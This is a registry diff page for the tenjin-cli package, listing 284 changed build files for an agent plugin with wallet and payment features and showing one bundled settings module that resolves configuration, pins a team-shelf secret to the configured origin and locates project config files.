tenjin-cli 0.1.0-alpha.3 → 0.1.0-alpha.31

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (284) hide show
  1. package/NOTICE.md +54 -7
  2. package/README.md +100 -266
  3. package/dist/{_esm-FEASBWRP.js → _esm-MEXZI5DL.js} +9 -10
  4. package/dist/alive-J64H46HI.js +31 -0
  5. package/dist/{ccip-NQXCEK2U.js → ccip-7RMRLAGV.js} +4 -4
  6. package/dist/{ccip-XR5NE5QK.js → ccip-NLCSCHKI.js} +5 -5
  7. package/dist/chunk-27EPWVOY.js +108 -0
  8. package/dist/chunk-27EPWVOY.js.map +1 -0
  9. package/dist/chunk-2SNUOHAT.js +75 -0
  10. package/dist/chunk-2SNUOHAT.js.map +1 -0
  11. package/dist/{chunk-Z6MFJV5Z.js → chunk-2XLC3AEX.js} +857 -504
  12. package/dist/chunk-2XLC3AEX.js.map +1 -0
  13. package/dist/chunk-3623BLPV.js +184 -0
  14. package/dist/chunk-3623BLPV.js.map +1 -0
  15. package/dist/chunk-3UCIG4TG.js +65 -0
  16. package/dist/chunk-3UCIG4TG.js.map +1 -0
  17. package/dist/chunk-4ZZO6ULA.js +151 -0
  18. package/dist/chunk-4ZZO6ULA.js.map +1 -0
  19. package/dist/chunk-5C32RLTA.js +115 -0
  20. package/dist/chunk-5C32RLTA.js.map +1 -0
  21. package/dist/{chunk-ZMHYXMO6.js → chunk-5IEP5EGE.js} +3 -3
  22. package/dist/chunk-5K5W4S66.js +105 -0
  23. package/dist/chunk-5K5W4S66.js.map +1 -0
  24. package/dist/chunk-5MARFNSB.js +2018 -0
  25. package/dist/chunk-5MARFNSB.js.map +1 -0
  26. package/dist/{chunk-CYOF7ROH.js → chunk-6E5R45ZO.js} +3 -3
  27. package/dist/chunk-77TCKDEC.js +1987 -0
  28. package/dist/chunk-77TCKDEC.js.map +1 -0
  29. package/dist/chunk-7EKYXMUO.js +7536 -0
  30. package/dist/chunk-7EKYXMUO.js.map +1 -0
  31. package/dist/chunk-7Q5FDF65.js +159 -0
  32. package/dist/chunk-7Q5FDF65.js.map +1 -0
  33. package/dist/chunk-7QKHZQKW.js +1680 -0
  34. package/dist/chunk-7QKHZQKW.js.map +1 -0
  35. package/dist/{chunk-MUBUQVC3.js → chunk-7WEQQJLG.js} +6 -5
  36. package/dist/{chunk-MUBUQVC3.js.map → chunk-7WEQQJLG.js.map} +1 -1
  37. package/dist/chunk-7WU4OPLP.js +244 -0
  38. package/dist/chunk-7WU4OPLP.js.map +1 -0
  39. package/dist/chunk-7ZRL2LBQ.js +192 -0
  40. package/dist/chunk-7ZRL2LBQ.js.map +1 -0
  41. package/dist/chunk-A36LQPHV.js +29 -0
  42. package/dist/chunk-A36LQPHV.js.map +1 -0
  43. package/dist/chunk-AGZ7PJKY.js +326 -0
  44. package/dist/chunk-AGZ7PJKY.js.map +1 -0
  45. package/dist/chunk-AKWGE6JQ.js +49 -0
  46. package/dist/chunk-AKWGE6JQ.js.map +1 -0
  47. package/dist/chunk-B7HUUJOK.js +29 -0
  48. package/dist/chunk-B7HUUJOK.js.map +1 -0
  49. package/dist/{chunk-S3IGX57D.js → chunk-BL3332HQ.js} +290 -7361
  50. package/dist/chunk-BL3332HQ.js.map +1 -0
  51. package/dist/{chunk-5CLSD5YN.js → chunk-BPMWXTFX.js} +2 -2
  52. package/dist/chunk-D65GNPS3.js +12708 -0
  53. package/dist/chunk-D65GNPS3.js.map +1 -0
  54. package/dist/chunk-DOQGNFHM.js +121 -0
  55. package/dist/chunk-DOQGNFHM.js.map +1 -0
  56. package/dist/{chunk-YALGASEU.js → chunk-EGELTSPU.js} +2 -2
  57. package/dist/chunk-FW75G2W4.js +406 -0
  58. package/dist/chunk-FW75G2W4.js.map +1 -0
  59. package/dist/chunk-GA7JETVM.js +150 -0
  60. package/dist/chunk-GA7JETVM.js.map +1 -0
  61. package/dist/chunk-I3EQFHCD.js +175 -0
  62. package/dist/chunk-I3EQFHCD.js.map +1 -0
  63. package/dist/chunk-JKKAIPTU.js +108 -0
  64. package/dist/chunk-JKKAIPTU.js.map +1 -0
  65. package/dist/{chunk-QVX5MWJZ.js → chunk-JRGFKVAZ.js} +2 -2
  66. package/dist/{chunk-NCE5NSN6.js → chunk-K3I7C2MO.js} +142 -12
  67. package/dist/chunk-K3I7C2MO.js.map +1 -0
  68. package/dist/chunk-K72RURN3.js +239 -0
  69. package/dist/chunk-K72RURN3.js.map +1 -0
  70. package/dist/{chunk-HIVZG55D.js → chunk-KG3D7FIF.js} +2 -2
  71. package/dist/chunk-KOGZDMHO.js +21 -0
  72. package/dist/chunk-KOGZDMHO.js.map +1 -0
  73. package/dist/chunk-KXQ4UIP7.js +228 -0
  74. package/dist/chunk-KXQ4UIP7.js.map +1 -0
  75. package/dist/chunk-KXVP2VKA.js +194 -0
  76. package/dist/chunk-KXVP2VKA.js.map +1 -0
  77. package/dist/chunk-LEFIX6RS.js +100 -0
  78. package/dist/chunk-LEFIX6RS.js.map +1 -0
  79. package/dist/chunk-LHHMV4GU.js +27 -0
  80. package/dist/chunk-LHHMV4GU.js.map +1 -0
  81. package/dist/{chunk-YBMMV4Y4.js → chunk-MEFB5KHA.js} +13 -5
  82. package/dist/chunk-MEFB5KHA.js.map +1 -0
  83. package/dist/chunk-MNXS2U45.js +1768 -0
  84. package/dist/chunk-MNXS2U45.js.map +1 -0
  85. package/dist/{chunk-UGX7YPX2.js → chunk-NEFNKLBE.js} +9 -11
  86. package/dist/{chunk-UGX7YPX2.js.map → chunk-NEFNKLBE.js.map} +1 -1
  87. package/dist/chunk-OHRR5OYM.js +63 -0
  88. package/dist/chunk-OHRR5OYM.js.map +1 -0
  89. package/dist/chunk-ORWL5BSN.js +269 -0
  90. package/dist/chunk-ORWL5BSN.js.map +1 -0
  91. package/dist/chunk-P4NH7OUK.js +398 -0
  92. package/dist/chunk-P4NH7OUK.js.map +1 -0
  93. package/dist/{chunk-ZABPQJ3M.js → chunk-POUWHWID.js} +2 -2
  94. package/dist/chunk-QSCPK4F5.js +145 -0
  95. package/dist/chunk-QSCPK4F5.js.map +1 -0
  96. package/dist/chunk-QXP3Z3JN.js +131 -0
  97. package/dist/chunk-QXP3Z3JN.js.map +1 -0
  98. package/dist/{chunk-XJIW7USF.js → chunk-R5LCN54M.js} +118 -9
  99. package/dist/chunk-R5LCN54M.js.map +1 -0
  100. package/dist/chunk-S4SAZ7OD.js +30 -0
  101. package/dist/chunk-S4SAZ7OD.js.map +1 -0
  102. package/dist/chunk-SJLTEINJ.js +117 -0
  103. package/dist/chunk-SJLTEINJ.js.map +1 -0
  104. package/dist/{chunk-RRN3YTK7.js → chunk-TTNESUPQ.js} +3 -3
  105. package/dist/chunk-UKY4CHNC.js +498 -0
  106. package/dist/chunk-UKY4CHNC.js.map +1 -0
  107. package/dist/chunk-UQUOVWBG.js +114 -0
  108. package/dist/chunk-UQUOVWBG.js.map +1 -0
  109. package/dist/chunk-V6BSF6OC.js +260 -0
  110. package/dist/chunk-V6BSF6OC.js.map +1 -0
  111. package/dist/chunk-WJXLQXJY.js +43 -0
  112. package/dist/chunk-WJXLQXJY.js.map +1 -0
  113. package/dist/chunk-WK7F3B2E.js +114 -0
  114. package/dist/chunk-WK7F3B2E.js.map +1 -0
  115. package/dist/chunk-XKESD27X.js +10 -0
  116. package/dist/chunk-XKESD27X.js.map +1 -0
  117. package/dist/chunk-XQJXNMSB.js +23 -0
  118. package/dist/chunk-XQJXNMSB.js.map +1 -0
  119. package/dist/{chunk-HSDCI7OV.js → chunk-XZKD7DIF.js} +3 -3
  120. package/dist/chunk-Y527D4TV.js +56 -0
  121. package/dist/chunk-Y527D4TV.js.map +1 -0
  122. package/dist/chunk-YFPY4ONH.js +127 -0
  123. package/dist/chunk-YFPY4ONH.js.map +1 -0
  124. package/dist/{chunk-OYMYCW7J.js → chunk-YVFXE7RR.js} +606 -97
  125. package/dist/chunk-YVFXE7RR.js.map +1 -0
  126. package/dist/clack-EZ7TDWQU.js +19 -0
  127. package/dist/claude-cli-2YKABJJZ.js +31 -0
  128. package/dist/{cli-SBXI5AMS.js → cli-D5OE3URZ.js} +458 -218
  129. package/dist/cli-D5OE3URZ.js.map +1 -0
  130. package/dist/codex-event-PPNVRRDH.js +16 -0
  131. package/dist/codex-host-2RJOJW2B.js +28 -0
  132. package/dist/codex-install-UUZ6QMBQ.js +221 -0
  133. package/dist/codex-install-UUZ6QMBQ.js.map +1 -0
  134. package/dist/config-ZD4OB2DO.js +51 -0
  135. package/dist/dist-3LOO6M4U.js +2842 -0
  136. package/dist/dist-3LOO6M4U.js.map +1 -0
  137. package/dist/doctor-KBR34Q4B.js +601 -0
  138. package/dist/doctor-KBR34Q4B.js.map +1 -0
  139. package/dist/env-proxy-XL4P73MZ.js +15 -0
  140. package/dist/{ethersCompat-Df4a6QIZ-3YZIAXDK.js → ethersCompat-Df4a6QIZ-THAVUGIJ.js} +5 -5
  141. package/dist/ethersCompat-Df4a6QIZ-THAVUGIJ.js.map +1 -0
  142. package/dist/fund-5ITKQGYF.js +372 -0
  143. package/dist/fund-5ITKQGYF.js.map +1 -0
  144. package/dist/hook-command-4TYCHHRL.js +39 -0
  145. package/dist/hook-command-4TYCHHRL.js.map +1 -0
  146. package/dist/hosts/claude/.claude-plugin/marketplace.json +19 -0
  147. package/dist/hosts/claude/tenjin/.claude-plugin/plugin.json +15 -0
  148. package/dist/hosts/claude/tenjin/.mcp.json +12 -0
  149. package/dist/hosts/claude/tenjin/hooks/hooks.json +224 -0
  150. package/dist/hosts/claude/tenjin/hooks/register.tsx +589 -0
  151. package/dist/hosts/claude/tenjin/types/index.d.ts +41 -0
  152. package/dist/hosts/codex/.agents/plugins/marketplace.json +20 -0
  153. package/dist/hosts/codex/tenjin/.codex-plugin/plugin.json +16 -0
  154. package/dist/hosts/codex/tenjin/.mcp.json +12 -0
  155. package/dist/hosts/codex/tenjin/hooks/hooks.json +52 -0
  156. package/dist/hosts-FWZOV26H.js +216 -0
  157. package/dist/hosts-FWZOV26H.js.map +1 -0
  158. package/dist/index.js +21 -2
  159. package/dist/index.js.map +1 -1
  160. package/dist/install-XWGE4Q7L.js +77 -0
  161. package/dist/install-XWGE4Q7L.js.map +1 -0
  162. package/dist/install-identity-K7EJIQFP.js +30 -0
  163. package/dist/install-identity-K7EJIQFP.js.map +1 -0
  164. package/dist/install-wallet-XQ6XFZV4.js +117 -0
  165. package/dist/install-wallet-XQ6XFZV4.js.map +1 -0
  166. package/dist/mcp-3LIJSSJB.js +13553 -0
  167. package/dist/mcp-3LIJSSJB.js.map +1 -0
  168. package/dist/package-ZKQFDWLE.js +37 -0
  169. package/dist/package-ZKQFDWLE.js.map +1 -0
  170. package/dist/paths-POPTXJO6.js +61 -0
  171. package/dist/paths-POPTXJO6.js.map +1 -0
  172. package/dist/pay-WHBERZ3W.js +55 -0
  173. package/dist/pay-WHBERZ3W.js.map +1 -0
  174. package/dist/payments-KVICEKD2.js +110 -0
  175. package/dist/payments-KVICEKD2.js.map +1 -0
  176. package/dist/plugin-registration-5TIA564H.js +54 -0
  177. package/dist/plugin-registration-5TIA564H.js.map +1 -0
  178. package/dist/redact-6W23GGJC.js +15 -0
  179. package/dist/redact-6W23GGJC.js.map +1 -0
  180. package/dist/{secp256k1-N3ZHU7LB.js → secp256k1-ZZZT2CAX.js} +3 -3
  181. package/dist/secp256k1-ZZZT2CAX.js.map +1 -0
  182. package/dist/send-7G7Y7DLN.js +228 -0
  183. package/dist/send-7G7Y7DLN.js.map +1 -0
  184. package/dist/status-OF7RH5HM.js +120 -0
  185. package/dist/status-OF7RH5HM.js.map +1 -0
  186. package/dist/status-line-XOUE6MPL.js +90 -0
  187. package/dist/status-line-XOUE6MPL.js.map +1 -0
  188. package/dist/uninstall-JXUAFNDB.js +158 -0
  189. package/dist/uninstall-JXUAFNDB.js.map +1 -0
  190. package/dist/update-ZKUERSO2.js +44 -0
  191. package/dist/update-ZKUERSO2.js.map +1 -0
  192. package/dist/usdc-OGOGEHV2.js +40 -0
  193. package/dist/usdc-OGOGEHV2.js.map +1 -0
  194. package/dist/{viemAdapter-By13KInL-ZZE6UV4Y.js → viemAdapter-By13KInL-S3DA7DFW.js} +5 -5
  195. package/dist/viemAdapter-By13KInL-S3DA7DFW.js.map +1 -0
  196. package/dist/wallet-2HA6W4R4.js +43 -0
  197. package/dist/wallet-2HA6W4R4.js.map +1 -0
  198. package/dist/wallet-kdf-worker.mjs +980 -0
  199. package/docs/agent-permissions.md +196 -0
  200. package/docs/safety-model.md +59 -0
  201. package/docs/troubleshooting.md +13 -0
  202. package/package.json +28 -19
  203. package/LICENSE +0 -21
  204. package/dist/buy-EE6SEXP6.js +0 -1598
  205. package/dist/buy-EE6SEXP6.js.map +0 -1
  206. package/dist/candidate-ERMSYYQZ.js +0 -127
  207. package/dist/candidate-ERMSYYQZ.js.map +0 -1
  208. package/dist/chunk-3OV7E5G5.js +0 -18
  209. package/dist/chunk-3OV7E5G5.js.map +0 -1
  210. package/dist/chunk-4ONXEEQL.js +0 -152
  211. package/dist/chunk-4ONXEEQL.js.map +0 -1
  212. package/dist/chunk-662MSGZB.js +0 -286
  213. package/dist/chunk-662MSGZB.js.map +0 -1
  214. package/dist/chunk-7KUW4MJD.js +0 -59
  215. package/dist/chunk-7KUW4MJD.js.map +0 -1
  216. package/dist/chunk-AWPAWHNX.js +0 -333
  217. package/dist/chunk-AWPAWHNX.js.map +0 -1
  218. package/dist/chunk-DXTQ3CSI.js +0 -171
  219. package/dist/chunk-DXTQ3CSI.js.map +0 -1
  220. package/dist/chunk-ESPNTPQ2.js +0 -207
  221. package/dist/chunk-ESPNTPQ2.js.map +0 -1
  222. package/dist/chunk-FJPLRISB.js +0 -79
  223. package/dist/chunk-FJPLRISB.js.map +0 -1
  224. package/dist/chunk-GO75V3NZ.js +0 -160
  225. package/dist/chunk-GO75V3NZ.js.map +0 -1
  226. package/dist/chunk-JPHG2JW3.js +0 -96
  227. package/dist/chunk-JPHG2JW3.js.map +0 -1
  228. package/dist/chunk-NCE5NSN6.js.map +0 -1
  229. package/dist/chunk-OYMYCW7J.js.map +0 -1
  230. package/dist/chunk-RY4XKNV3.js +0 -140
  231. package/dist/chunk-RY4XKNV3.js.map +0 -1
  232. package/dist/chunk-S3IGX57D.js.map +0 -1
  233. package/dist/chunk-TLCMMYLY.js +0 -126
  234. package/dist/chunk-TLCMMYLY.js.map +0 -1
  235. package/dist/chunk-UO22YNY4.js +0 -69
  236. package/dist/chunk-UO22YNY4.js.map +0 -1
  237. package/dist/chunk-XHC6FCGZ.js +0 -261
  238. package/dist/chunk-XHC6FCGZ.js.map +0 -1
  239. package/dist/chunk-XJIW7USF.js.map +0 -1
  240. package/dist/chunk-YBMMV4Y4.js.map +0 -1
  241. package/dist/chunk-YN5SHIXQ.js +0 -126
  242. package/dist/chunk-YN5SHIXQ.js.map +0 -1
  243. package/dist/chunk-Z52RA3NC.js +0 -137
  244. package/dist/chunk-Z52RA3NC.js.map +0 -1
  245. package/dist/chunk-Z6MFJV5Z.js.map +0 -1
  246. package/dist/cli-SBXI5AMS.js.map +0 -1
  247. package/dist/config-VELDKLHY.js +0 -21
  248. package/dist/doctor-T3KWNNP2.js +0 -20
  249. package/dist/inspect-LMKOXE4Y.js +0 -96
  250. package/dist/inspect-LMKOXE4Y.js.map +0 -1
  251. package/dist/install-LEX3ENQ6.js +0 -387
  252. package/dist/install-LEX3ENQ6.js.map +0 -1
  253. package/dist/lookup-ZPN2Q67N.js +0 -129
  254. package/dist/lookup-ZPN2Q67N.js.map +0 -1
  255. package/dist/outcome-N7TAK6WR.js +0 -66
  256. package/dist/outcome-N7TAK6WR.js.map +0 -1
  257. package/dist/publish-BKBQQAW4.js +0 -1478
  258. package/dist/publish-BKBQQAW4.js.map +0 -1
  259. package/dist/usdc-JIAJW4SV.js +0 -22
  260. package/dist/wallet-CWEMYVIH.js +0 -179
  261. package/dist/wallet-CWEMYVIH.js.map +0 -1
  262. package/dist/wallet-PA54CRBL.js +0 -30
  263. package/skills/tenjin/SKILL.md +0 -199
  264. package/skills/tenjin-publish/SKILL.md +0 -111
  265. package/skills/tenjin-search/SKILL.md +0 -133
  266. /package/dist/{_esm-FEASBWRP.js.map → _esm-MEXZI5DL.js.map} +0 -0
  267. /package/dist/{ccip-NQXCEK2U.js.map → alive-J64H46HI.js.map} +0 -0
  268. /package/dist/{ccip-XR5NE5QK.js.map → ccip-7RMRLAGV.js.map} +0 -0
  269. /package/dist/{config-VELDKLHY.js.map → ccip-NLCSCHKI.js.map} +0 -0
  270. /package/dist/{chunk-ZMHYXMO6.js.map → chunk-5IEP5EGE.js.map} +0 -0
  271. /package/dist/{chunk-CYOF7ROH.js.map → chunk-6E5R45ZO.js.map} +0 -0
  272. /package/dist/{chunk-5CLSD5YN.js.map → chunk-BPMWXTFX.js.map} +0 -0
  273. /package/dist/{chunk-YALGASEU.js.map → chunk-EGELTSPU.js.map} +0 -0
  274. /package/dist/{chunk-QVX5MWJZ.js.map → chunk-JRGFKVAZ.js.map} +0 -0
  275. /package/dist/{chunk-HIVZG55D.js.map → chunk-KG3D7FIF.js.map} +0 -0
  276. /package/dist/{chunk-ZABPQJ3M.js.map → chunk-POUWHWID.js.map} +0 -0
  277. /package/dist/{chunk-RRN3YTK7.js.map → chunk-TTNESUPQ.js.map} +0 -0
  278. /package/dist/{chunk-HSDCI7OV.js.map → chunk-XZKD7DIF.js.map} +0 -0
  279. /package/dist/{doctor-T3KWNNP2.js.map → clack-EZ7TDWQU.js.map} +0 -0
  280. /package/dist/{ethersCompat-Df4a6QIZ-3YZIAXDK.js.map → claude-cli-2YKABJJZ.js.map} +0 -0
  281. /package/dist/{secp256k1-N3ZHU7LB.js.map → codex-event-PPNVRRDH.js.map} +0 -0
  282. /package/dist/{usdc-JIAJW4SV.js.map → codex-host-2RJOJW2B.js.map} +0 -0
  283. /package/dist/{viemAdapter-By13KInL-ZZE6UV4Y.js.map → config-ZD4OB2DO.js.map} +0 -0
  284. /package/dist/{wallet-PA54CRBL.js.map → env-proxy-XL4P73MZ.js.map} +0 -0
@@ -0,0 +1,244 @@
1
+ import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+ import {
3
+ parseUsdToAtomic
4
+ } from "./chunk-Y527D4TV.js";
5
+ import {
6
+ CONFIG_DEFAULTS,
7
+ PublishModeSchema,
8
+ SEND_MAX_UNSET,
9
+ external_exports,
10
+ loadRawConfig,
11
+ resolveSettings
12
+ } from "./chunk-YVFXE7RR.js";
13
+ import {
14
+ PRODUCTION_ORIGIN,
15
+ isSameDeployment
16
+ } from "./chunk-XQJXNMSB.js";
17
+ import {
18
+ CliError
19
+ } from "./chunk-3UCIG4TG.js";
20
+
21
+ // src/lib/settings.ts
22
+ import { execFile } from "node:child_process";
23
+ import { readFile, stat } from "node:fs/promises";
24
+ import { homedir } from "node:os";
25
+ import { basename, dirname, join, resolve, sep } from "node:path";
26
+ function tryOrigin(url) {
27
+ try {
28
+ return new URL(url).origin;
29
+ } catch {
30
+ return void 0;
31
+ }
32
+ }
33
+ function resolveShelfBypass(config, s) {
34
+ const secret = s.shelfBypassSecret.value;
35
+ if (secret.length === 0) return void 0;
36
+ const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);
37
+ const effective = tryOrigin(s.baseUrl.value);
38
+ if (configured === void 0 || effective === void 0 || configured !== effective) {
39
+ return void 0;
40
+ }
41
+ if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return void 0;
42
+ return { origin: configured, secret };
43
+ }
44
+ function isTeamShelfOrigin(origin, publicShelfUrl) {
45
+ if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;
46
+ const publicOrigin = tryOrigin(publicShelfUrl);
47
+ return publicOrigin === void 0 || !isSameDeployment(origin, publicOrigin);
48
+ }
49
+ function isTeamModeConfig(config) {
50
+ const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;
51
+ if (typeof secret !== "string" || secret === "") return false;
52
+ const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);
53
+ if (origin === void 0) return false;
54
+ return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);
55
+ }
56
+ async function resolveContextSettings(ctx) {
57
+ const config = await loadRawConfig(ctx.dataDir);
58
+ const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });
59
+ const bypass = resolveShelfBypass(config, s);
60
+ return {
61
+ baseUrl: s.baseUrl.value,
62
+ configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,
63
+ publicShelfUrl: s.publicShelfUrl.value,
64
+ ...bypass !== void 0 ? { bypass } : {},
65
+ teamMode: bypass !== void 0,
66
+ rpcUrl: s.rpcUrl.value,
67
+ evalCohort: s.evalCohort.value,
68
+ bazaarRegistries: s.bazaarRegistries.value,
69
+ experimentalBazaar: s.experimentalBazaar.value === "on",
70
+ sendMaxAmountAtomic: s.sendMaxAmount.value === SEND_MAX_UNSET ? SEND_MAX_UNSET : s.sendMaxAmount.value === "none" ? null : BigInt(s.sendMaxAmount.value),
71
+ policy: {
72
+ maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),
73
+ sessionBudgetAtomic: s.sessionBudget.value === "none" ? null : BigInt(s.sessionBudget.value),
74
+ allowlistCreators: s.allowlistCreators.value
75
+ }
76
+ };
77
+ }
78
+ var PROJECT_CONFIG_FILE = ".tenjin.json";
79
+ var ProjectConfigSchema = external_exports.object({
80
+ publish: external_exports.object({
81
+ mode: PublishModeSchema.optional(),
82
+ defaultPrice: external_exports.string().optional()
83
+ }).passthrough().optional()
84
+ }).passthrough();
85
+ async function loadProjectConfig(cwd, deps = {}) {
86
+ const path = await findProjectConfigFile(cwd, deps);
87
+ if (path === null) return null;
88
+ let json;
89
+ try {
90
+ json = JSON.parse(await readFile(path, "utf8"));
91
+ } catch (err) {
92
+ throw new CliError("CONFIG_INVALID", `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {
93
+ fix: `Fix or delete ${path} (must be a readable JSON file).`,
94
+ cause: err
95
+ });
96
+ }
97
+ const parsed = ProjectConfigSchema.safeParse(json);
98
+ if (!parsed.success) {
99
+ throw new CliError("CONFIG_INVALID", `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {
100
+ fix: `Correct the reported keys in ${path}, or delete it.`,
101
+ details: parsed.error.issues
102
+ });
103
+ }
104
+ const isGitignored = deps.isGitignored ?? defaultIsGitignored;
105
+ const gitignored = await isGitignored(path);
106
+ const layer = { gitignored };
107
+ if (parsed.data.publish !== void 0) {
108
+ const { mode, defaultPrice } = parsed.data.publish;
109
+ layer.publish = {
110
+ ...mode !== void 0 ? { mode } : {},
111
+ ...defaultPrice !== void 0 ? { defaultPrice: parseProjectPrice(defaultPrice, path) } : {}
112
+ };
113
+ if (parsed.data.publish.ackServerWarnings !== void 0) {
114
+ layer.ignoredAckServerWarnings = true;
115
+ }
116
+ }
117
+ return { path, layer };
118
+ }
119
+ function parseProjectPrice(decimalUsd, path) {
120
+ try {
121
+ return parseUsdToAtomic(decimalUsd);
122
+ } catch (err) {
123
+ throw new CliError(
124
+ "CONFIG_INVALID",
125
+ `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,
126
+ { fix: 'Use a non-negative decimal USD amount like "0.10".', cause: err }
127
+ );
128
+ }
129
+ }
130
+ async function findProjectConfigFile(cwd, deps) {
131
+ const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);
132
+ return hit?.found[0] ?? null;
133
+ }
134
+ async function findNearestProjectFiles(cwd, names, deps = {}) {
135
+ const homeDir = deps.homeDir ?? homedir();
136
+ let dir = cwd;
137
+ for (; ; ) {
138
+ if (dir === homeDir && deps.homeIsProject === false) return null;
139
+ const found = await ownedCandidates(dir, names, deps);
140
+ if (found.length > 0) return { dir, found };
141
+ if (await pathExists(join(dir, ".git"))) return null;
142
+ if (dir === homeDir) return null;
143
+ const parent = dirname(dir);
144
+ if (parent === dir) return null;
145
+ dir = parent;
146
+ }
147
+ }
148
+ async function findAllProjectFiles(cwd, names, deps = {}) {
149
+ const homeDir = deps.homeDir ?? homedir();
150
+ const levels = [];
151
+ let dir = cwd;
152
+ for (; ; ) {
153
+ if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };
154
+ const found = await ownedCandidates(dir, names, deps);
155
+ if (found.length > 0) levels.push({ dir, found });
156
+ if (await pathExists(join(dir, ".git"))) return { levels, gitRoot: dir };
157
+ if (dir === homeDir) return { levels, gitRoot: null };
158
+ const parent = dirname(dir);
159
+ if (parent === dir) return { levels, gitRoot: null };
160
+ dir = parent;
161
+ }
162
+ }
163
+ async function mainWorktreeOf(gitRoot, homeDir = homedir()) {
164
+ try {
165
+ const dotGit = join(gitRoot, ".git");
166
+ if (!(await stat(dotGit)).isFile()) return null;
167
+ const line = /^gitdir:\s*(.+?)\s*$/m.exec(await readFile(dotGit, "utf8"));
168
+ if (line === null) return null;
169
+ const gitdir = resolve(gitRoot, line[1]);
170
+ const commonDir = resolve(gitdir, (await readFile(join(gitdir, "commondir"), "utf8")).trim());
171
+ if (basename(commonDir) !== ".git" || !(await stat(commonDir)).isDirectory()) return null;
172
+ const main = dirname(commonDir);
173
+ if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;
174
+ return main;
175
+ } catch {
176
+ return null;
177
+ }
178
+ }
179
+ async function ownedCandidates(dir, names, deps = {}) {
180
+ const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;
181
+ const warn = deps.warn ?? ((message) => process.stderr.write(`${message}
182
+ `));
183
+ const found = [];
184
+ for (const name of names) {
185
+ const candidate = join(dir, name);
186
+ if (!await pathExists(candidate)) continue;
187
+ if (await isForeignOwned(candidate)) {
188
+ warn(`Ignoring ${candidate}: not owned by the current user.`);
189
+ } else {
190
+ found.push(candidate);
191
+ }
192
+ }
193
+ return found;
194
+ }
195
+ async function projectRoot(cwd, homeDir = homedir()) {
196
+ let dir = cwd;
197
+ for (; ; ) {
198
+ if (await pathExists(join(dir, ".git"))) return dir;
199
+ if (dir === homeDir) return cwd;
200
+ const parent = dirname(dir);
201
+ if (parent === dir) return cwd;
202
+ dir = parent;
203
+ }
204
+ }
205
+ async function defaultIsForeignOwned(filePath) {
206
+ const uid = process.getuid?.();
207
+ if (uid === void 0) return false;
208
+ try {
209
+ return (await stat(filePath)).uid !== uid;
210
+ } catch {
211
+ return false;
212
+ }
213
+ }
214
+ async function pathExists(path) {
215
+ try {
216
+ await stat(path);
217
+ return true;
218
+ } catch {
219
+ return false;
220
+ }
221
+ }
222
+ function defaultIsGitignored(filePath) {
223
+ return new Promise((resolve2) => {
224
+ execFile(
225
+ "git",
226
+ ["check-ignore", "--quiet", "--", filePath],
227
+ { cwd: dirname(filePath) },
228
+ (err) => resolve2(err === null)
229
+ );
230
+ });
231
+ }
232
+
233
+ export {
234
+ isTeamShelfOrigin,
235
+ isTeamModeConfig,
236
+ resolveContextSettings,
237
+ loadProjectConfig,
238
+ findNearestProjectFiles,
239
+ findAllProjectFiles,
240
+ mainWorktreeOf,
241
+ ownedCandidates,
242
+ projectRoot
243
+ };
244
+ //# sourceMappingURL=chunk-7WU4OPLP.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries 